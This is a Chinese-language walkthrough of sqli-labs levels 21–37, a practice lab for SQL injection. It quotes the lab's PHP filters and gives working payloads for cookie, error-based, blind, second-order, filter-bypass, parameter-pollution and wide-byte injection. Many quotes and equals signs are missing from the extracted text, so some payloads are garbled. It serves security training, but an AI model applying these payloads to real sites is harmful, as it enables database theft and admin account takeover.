遵义市网站制作,陕西网站备案 多久,wordpress 3秒防刷,济南网站建设工作sqli-labs-master 21-37 Advanced-Injection
第一关到第二十关请见专栏 文章目录 sqli-labs-master 21-37 Advanced-Injection第二十一关-Cookie注入第二十二关-Cookie注入第二十三关-注释符过滤的报错注入第二十四关-二次注入第二十五关-过滤OR、AND双写绕过第二十五a关-过滤…sqli-labs-master 21-37 Advanced-Injection
第一关到第二十关请见专栏 文章目录 sqli-labs-master 21-37 Advanced-Injection第二十一关-Cookie注入第二十二关-Cookie注入第二十三关-注释符过滤的报错注入第二十四关-二次注入第二十五关-过滤OR、AND双写绕过第二十五a关-过滤OR、AND逻辑符号代替第二十六关-过滤一堆乱七八糟报错注入第二十六a关-过滤一堆乱七八糟盲注第二十七关-select、union过滤报错注入第二十七a关-select、union过滤盲注与联合注入第二十八关-select union过滤第二十八a关-select union过滤第二十九关-数字白名单WAF第三十关-数字白名单WAF第三十一关-数字白名单WAF第三十二关-宽字节注入第三十三关-宽字节注入第三十四关-Post宽字节注入第三十五关-引号绕过第三十六关-宽字节注入第三十七关-mysql_real_escape_string 总结 第二十一关-Cookie注入
这一道题还是cookie注入但是在抓包看到cookie的值时却不是原来的dhakkan经过译码后发现它经过了base64编码所以构造payload
) or updatexml(1,concat(0x7e,database()),3) or (
Jykgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMykgb3IgKCc第二十二关-Cookie注入
这一关和第二十一关一样只是闭合方式不同而已首先构造base64编码 or updatexml(1,concat(0x7e,database()),3) or
IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwzKSBvciAi第二十三关-注释符过滤的报错注入
首先这是get型先确定闭合方式为单引号闭合
?id1
?id1 and 12由第二段可知网站没有对单引号进行过滤在进行注释–和#时候发现没有起到作用查看源代码发现对注释符号进行了过滤
$reg /#/;
$reg1 /--/;
$replace ;
$id preg_replace($reg, $replace, $id);
$id preg_replace($reg1, $replace, $id);所以我们使用两个and或者or构造闭合试一下成功
?id1 and updatexml(1,concat(0x7e,database()),3) and 第二十四关-二次注入
不懂可以点这个博文有图好讲一点 代码一实现了简单的用户注册功能程序获取到GET参数username和参数password然后将username和password拼接到SQL语句使用insert语句插入数据库中。由于参数username使用addslashes进行转义转义了单引号导致单引号无法闭合参数password进行了MD5哈希所以此处不存在SQL注入漏洞。正常插入test’之后数据库就有了test’这个用户。 当访问usernametest’password123456时执行的SQL语句为 insert into users\username\,\password\values test\,e10adc3949ba59abbe56e057f20f883e。?php
$conmysqli_connect(localhost, root, root, sql);if (mysqli_connect_errno()) {echo 数据库连接错误: . mysqli_connect_error();
}
$username $_GET[username];
$password $_GET[password];
$result mysqli_query($con, insert into users(username, password) values (.addslashes($username).,.md5($password).));
echo 新 id 为: . mysqli_insert_id($con);
?代码二在二次注入中第二段中的代码如下所示首先将GET参数ID转成int类型防止拼接到SQL语句时存在SQL注入漏洞然后到users表中获取ID对应的username接着到person表中查询username对应的数据。但是此处没有对$username进行转义在第一步中我们注册的用户名是test’此时执行的SQL语句为 select * from person where usernametest单引号被带入SQL语句中由于多了一个单引号所以页面会报错。
回到24题发现有很多代码。
分析login.php代码发现对于username和password使用了mysql_real_escape_string函数这个函数会对单引号、双引号、反斜杠\、NULL 字符等加添反斜杠来进行转义所以在登录界面框无法直接下手。
$username mysql_real_escape_string($_POST[login_user]);
$password mysql_real_escape_string($_POST[login_password]);接着分析创建新用户的代码在new_user.php中有form表单提交到login_create.php中所以重点还是login_create.php发现还是存在转义
$username mysql_escape_string($_POST[username]) ;
$pass mysql_escape_string($_POST[password]);
$re_pass mysql_escape_string($_POST[re_password]);$sql insert into users ( username, password) values(\$username\, \$pass\);那就登录进去看一下登录进去是一个修改密码的框其中不需要填写账号密码看一下代码
$username $_SESSION[username];
$curr_pass mysql_real_escape_string($_POST[current_password]);
$pass mysql_real_escape_string($_POST[password]);
$re_pass mysql_real_escape_string($_POST[re_password]);$sql UPDATE users SET PASSWORD$pass where username$username and password$curr_pass ;可以发现漏洞存在于此处这一道题不是获取数据库而是获取admin的密码所以我们可以构造一个admin’#的账号虽然在注册部分单引号会被转义但数据库中并不会存在这个反斜杠注册账号admin’#密码随便于是就可以登录进去然后再修改密码其中的sql语句为
$sql UPDATE users SET PASSWORD你想要的密码 where usernameadmin# and password$curr_pass ;于是修改admin账号不需要原始密码。
第二十五关-过滤OR、AND双写绕过
分析第二十五关的代码可以发现or和and被过滤了
$id preg_replace(/or/i,, $id); //strip out OR (non case sensitive)
$id preg_replace(/AND/i,, $id); //Strip out AND (non case sensitive)但是只进行了一次替代所以可以进行双写绕过
?id1 anandd sleep(10) --?id1 anandd updatexml(1,concat(0x7e,database()),3) --第二十五a关-过滤OR、AND逻辑符号代替
这一道题对or和and进行了过滤双写有效但是这是数字型注入试一下和||
?id1\ 数字型
?id-1 || sleep(3) 检测效果
?id-1 || updatexml(1,0x7e,3) 无效所以使用盲注
?id-1 || if(database()security,1,0)
?id-1 || if(database()security,1,0) 探针有效但是我不知道为什么不行…
第二十六关-过滤一堆乱七八糟报错注入
第二十六关绕过的东西很多…
function blacklist($id)
{$id preg_replace(/or/i,, $id); //strip out OR (non case sensitive)$id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive)$id preg_replace(/[\/\*]/,, $id); //strip out /*$id preg_replace(/[--]/,, $id); //Strip out --$id preg_replace(/[#]/,, $id); //Strip out #$id preg_replace(/[\s]/,, $id); //Strip out spaces$id preg_replace(/[\/\\\\]/,, $id); //Strip out slashesreturn $id;
}先判断闭合吧
?id1 字符型注入对于空格过滤使用()注意点window的phpstudy有时不可以使用%0a这样的编码而且information里面也有or
?id1 || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schemadatabase()))) ,1) || 11 括号绕过
?id1%0b||updatexml(1, concat(0x7e, (SELECT%0bgroup_concat(table_name)%0bFROM (infoorrmation_schema.tables) WHERE%0btable_schemadatabase())) ,1) || 11 编码绕过不知道为啥只可以使用%0b/**/() 例如?id1 || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schemadatabase()))) ,1) || 11//下面编码貌似在windows phpstudy环境下无效
%09 TAB 键水平
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键垂直
%a0 空(tap键上面的按钮) 加号第二十六a关-过滤一堆乱七八糟盲注
分析过滤的东西
$id preg_replace(/or/i,, $id); //strip out OR (non case sensitive)
$id preg_replace(/and/i,, $id); //Strip out AND (non case sensitive)
$id preg_replace(/[\/\*]/,, $id); //strip out /*
$id preg_replace(/[--]/,, $id); //Strip out --
$id preg_replace(/[#]/,, $id); //Strip out #
$id preg_replace(/[\s]/,, $id); //Strip out spaces
$id preg_replace(/[\s]/,, $id); //Strip out spaces
$id preg_replace(/[\/\\\\]/,, $id); //Strip out slashes在尝试上面第二十六关的报错注入时没有显示报错信息并且查看代码发现**print_r(mysql_error());**部分被注释掉所以不可以使用报错注入尝试一下盲注
?id2anandd11通过上面语句回显1的信息可以判断这是单引号加上括号闭合。
?id1)aandnd(length(database())8)anandd(1通过上述语句可以判定存在布尔盲注。
?id1)aandnd(substr(database(),1,1)s)anandd(1第二十七关-select、union过滤报错注入
$id preg_replace(/[\/\*]/, , $id); //strip out /*
$id preg_replace(/[--]/, , $id); //Strip out --.
$id preg_replace(/[#]/, , $id); //Strip out #.
$id preg_replace(/[ ]/, , $id); //Strip out spaces.
$id preg_replace(/select/m, , $id); //Strip out spaces.
$id preg_replace(/[ ]/, , $id); //Strip out spaces.
$id preg_replace(/union/s, , $id); //Strip out union
$id preg_replace(/select/s, , $id); //Strip out select
$id preg_replace(/UNION/s, , $id); //Strip out UNION
$id preg_replace(/SELECT/s, , $id); //Strip out SELECT
$id preg_replace(/Union/s, , $id); //Strip out Union
$id preg_replace(/Select/s, , $id); //Strip out select这一关对select和union进行了处理但是存在print_r(mysql_error());所以可以使用报错注入
?id1%0band%0bupdatexml(1,0x7e,3)%0band%0b11第二十七a关-select、union过滤盲注与联合注入
这一关在第二十七关的基础上对**print_r(mysql_error());**进行了注释所以我们使用盲注
?id1%0band%0b12 说明属于字符型?id1%0band%0b12 回显1
?id2%0band%0b11 回显2
说明不是单引号 不是单引号加上括号?id1%0band%0b12 不回显得到双引号闭合查看代码确实是双引号
$id .$id. ;
$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;进行布尔盲注
?id1%0band%0blength(database())8%0band11
?id1%0band%0blength(database())7%0band11通过以上语句说明盲注存在接下来试一下union注入。采取大小写过滤方式
?id0%0bunioN%0bSeleCT%0b1,database(),3%0bor11第二十八关-select union过滤
$id preg_replace(/[\/\*]/,, $id); //strip out /*
$id preg_replace(/[--]/,, $id); //Strip out --.
$id preg_replace(/[#]/,, $id); //Strip out #.
$id preg_replace(/[ ]/,, $id); //Strip out spaces.
//$id preg_replace(/select/m,, $id); //Strip out spaces.
$id preg_replace(/[ ]/,, $id); //Strip out spaces.
$id preg_replace(/union\sselect/i,, $id); //Strip out UNION SELECT.同样这里也注释了print_r(mysql_error());
?id2 and 11回显1的信息可以得知这是单引号加上括号闭合尝试一下拼凑
?id999)%0bunion%0bseunion%0bselectlect%0b1,database(),3%0bor%0b(11双写绕过成功。
第二十八a关-select union过滤
?id2%0band%0b11通过上述语句得到单引号加括号闭合这一道题只对union和select进行过滤以及没有报错信息所以我们尝试盲注
?id1%0band%0blength(database())8%0band%0b11通过改变长度查看回显可知盲注有用接着还是像28关一样通过拼凑进行注入union%0bseunion%0bselectlect
第二十九关-数字白名单WAF
先分析这个WAF
$qs $_SERVER[QUERY_STRING];
$hint$qs;
$id1java_implimentation($qs);
$id$_GET[id];
//echo $id1;
whitelist($id1);//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{$match preg_match(/^\d$/, $input);if($match){//echo you are good;//return $match;}else{ header(Location: hacked.php);//echo you are bad;}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{$q_s $query_string;$qs_array explode(,$q_s);foreach($qs_array as $key $value){$valsubstr($value,0,2);if($valid){$id_valuesubstr($value,3,30); return $id_value;echo br;break;}}
}首先如果我们输入id1时候它会正常显示因为第二个函数截取了id的值然后传递给第一个函数由于这是数字所以正常显示如果输入的是ida经过第二个函数截取之后传递给第一个函数由于只能是数字所以会重定向至hacked.php如果我们输入两个id值即id1id2在第二个id处构造payload
?id0id1 and updatexml(1,concat(0x7e,database()),3) and 第三十关-数字白名单WAF
function whitelist($input)
{$match preg_match(/^\d$/, $input);if($match){//echo you are good;//return $match;}else{ header(Location: hacked.php);//echo you are bad;}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{$q_s $query_string;$qs_array explode(,$q_s);foreach($qs_array as $key $value){$valsubstr($value,0,2);if($valid){$id_valuesubstr($value,3,30); return $id_value;echo br;break;}}
}这一道题的WAF和上一道一样首先判断闭合方式
?id1id1根据报错信息可以知道这是双引号闭合而且存在报错注入
?id1id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3) and 第三十一关-数字白名单WAF
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{$match preg_match(/^\d$/, $input);if($match){//echo you are good;//return $match;}else{ header(Location: hacked.php);//echo you are bad;}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{$q_s $query_string;$qs_array explode(,$q_s);foreach($qs_array as $key $value){$valsubstr($value,0,2);if($valid){$id_valuesubstr($value,3,30); return $id_value;echo br;break;}}
}WAF还是一样判断闭合方式
?id1id1根据报错信息知道是双引号加括号闭合并且可能存在报错注入
?id1id1) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3) and (第三十二关-宽字节注入
function check_addslashes($string)
{$string preg_replace(/. preg_quote(\\) ./, \\\\\\, $string); //escape any backslash$string preg_replace(/\/i, \\\, $string); //escape single quote with a backslash$string preg_replace(/\/, \\\, $string); //escape double quote with a backslashreturn $string;
}function strToHex($string)
{$hex;for ($i0; $i strlen($string); $i){$hex . dechex(ord($string[$i]));}return $hex;
}
echo Hint: The Query String you input is escaped as : .$id .br;
echo The Query String you input in Hex becomes : .strToHex($id). br;对于第一段代码单引号、双引号和反斜杠都加上了一个反斜杠我们试一下输入中文 输入中文发现回显的是中文为gbk编码所以我们可以使用宽字节注入原理就是%df和反斜杠可以组成一个中文字符
?id1%df and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3) -- #第三十三关-宽字节注入
function check_addslashes($string)
{$string addslashes($string); return $string;
}addslashes()函数会在单引号、双引号、反斜杠和NULL字符前添加反斜杠对于反斜杠的题目我们试一下中文中文正常显示所以编码为gbk编码尝试双字节注入和上一题一样
?id1%df and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3) -- #同样我们也可以通过char函数
?id1%df and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemaCHAR(115, 101, 99, 117, 114, 105, 116, 121))),3) -- #同样也可以通过转化成URL编码
?id1%df and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema0x7365637572697479)),3) -- #第三十四关-Post宽字节注入
这是一道Post的注入在账号处添加单引号回显发现添加了反斜杠通过查看源代码发现
$uname addslashes($uname1);
$passwd addslashes($passwd1);输入中文发现可以回显中文查看源代码也是使用了gbk编码所以使用宽字节注入
uname1passwd1%df and updatexml(1,concat(0x7e,database()),3) #SubmitSubmit第三十五关-引号绕过
?id2-1通过上述语句可以初步判断这是数字型注入同样利用引号绕过但是引号仅在限定条件下使用我们可以换成十六进制、char等注意的是不要使用宽字节因为会将中文带入sql语句中。
?id2 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name0x7573657273 and table_schemadatabase())),3)?id2 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameCHAR(117,115,101,114,115) and table_schemadatabase())),3)第三十六关-宽字节注入
?id1%df并尝试输入引号和反斜杠会发现又添加了个反斜杠输入中文发现有中文回显使用%df与引号回显报错信息得出是单引号闭合尝试宽字节报错注入
?id1%df and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameCHAR(117,115,101,114,115))),3) --第三十七关-mysql_real_escape_string
$uname mysql_real_escape_string($uname1);
$passwd mysql_real_escape_string($passwd1);这一关使用mysql_real_escape_string()编码的字符是 NULASCII 0、\n、\r、\、、 和 Control-Z。输入中文回显中文所以我们尝试一下宽字节注入
uname1passwd1%df or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase())),3) #SubmitSubmit注第三十四和三十七关我使用harkbar不行用bp就可以 总结
and和or黑名单能使用||就使用||二次注入中那个反斜杠不会到数据库中?id2’ and ‘1’1可以用来判断有没有括号回显1就有回显2的信息就没有